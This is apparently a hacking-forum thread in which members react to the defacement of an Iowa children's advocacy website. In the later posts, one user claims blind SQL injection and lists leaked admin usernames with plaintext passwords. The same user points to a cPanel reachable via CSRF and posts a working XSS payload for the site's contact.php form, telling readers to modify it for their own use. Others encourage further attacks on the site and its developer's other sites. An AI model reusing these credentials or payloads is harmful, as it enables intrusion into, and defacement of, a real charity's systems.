[Understalker]

"Linking research and advocacy to improve the well-being of Iowa kids"

Why would you even hack something like this?

[Pendragon]

And we give a fuck because...

Spoiler (Click to View)
You hate children?

[Bush]

The site doesn't appear to be hacked for me.🤨

[zeru]

you still left something

[Bush]

I changed it back cause everyone was mad cause its a childrens website

Oh. If it was me, I would give 0 fucks what other people said. You should put it back up.

[MattiasR]

Why would you do that to a childrens care website?
And you got burned by another member.

[#Skyline]

Those poor children. Lucky you haven't fully defaced it, otherwise I'd go berserk.

[YeahBuddyBBY]

Why dont you hack some pointless websites instead of these kind of websites you hacked.

[Automatic Coding]

Why dont you hack some pointless websites instead of these kind of websites you hacked.

Like Lime Technology seems to be?

I honestly don't get the point of defacing, but, whatever.

[#Skyline]

Like Lime Technology seems to be?

I honestly don't get the point of defacing, but, whatever.

Some people do it because it's funny, others do it to be idoits. Defacing gets you no where to be honest.

[xhflhkeuhwguu34]

I think somebody else hacked into it(?):
http://d.pr/i/Slyx

[FixAllthis]

Site is vulnerable to blind SQL interjection.

Database: cfpciowa

Username: cjadmin
Password: cjmaster
Username: eccadmin
Password:child497
Username:Anne
Password:child497
Username:Vivian
Password:eccadmin
Username:Sheila
Password:ecc123
Username:Alex
Password:ecc123
Username:slashx24
Password:killer12

They have a cpanel connected through to port 2082 that can be accessed through CSRF EXPLOIT that the OP can't access. So go ahead if you know how to accomplished the exploit fix the site from there then contact (515-280-9027) too help them further.

[xhflhkeuhwguu34]

This site has become a HF playground! This should be fun.

---

This site was developed by http://www.captainjack.com.

There could be other vulns in their sites.

[FixAllthis]

The site itself is full of blind sql vulns as I said above. With that exploit you're able to get full login details of everything you need. No need to dig further into it. The thing is why it hasn't been fully defaced by another user yet?

[FixAllthis]

There is also a XSS vuln within the contact.php. Seems no one has caught onto that one.

You can use Iframe if set input state in contact details set to 1 from defined definition such as example #" onmouseover=prompt(940621) // for script it can cause a javascript prompt to pop up.

example that you can transform for javascript:

address=3137%20Laguna%20Street&city=San%20Francisco&comments=1&email=sample%40email.tst&fax=317-317-3137&first_name=wrulssrp&last_name=wrulssrp&org=1&phone=555-666-0606&state=%22%20onmouseover%3dprompt%28901001%29%20bad%3d%22&submit=Send&userstring=wrulssrp&zip=94102

modify to defined definition for own use of XSS exploit.

Because defacing a site that helps children is pure evil.

I understand that. If you read my first post on this thread you will see I gave full details too access the site with admin rights and reclaim the site to give back to original owner.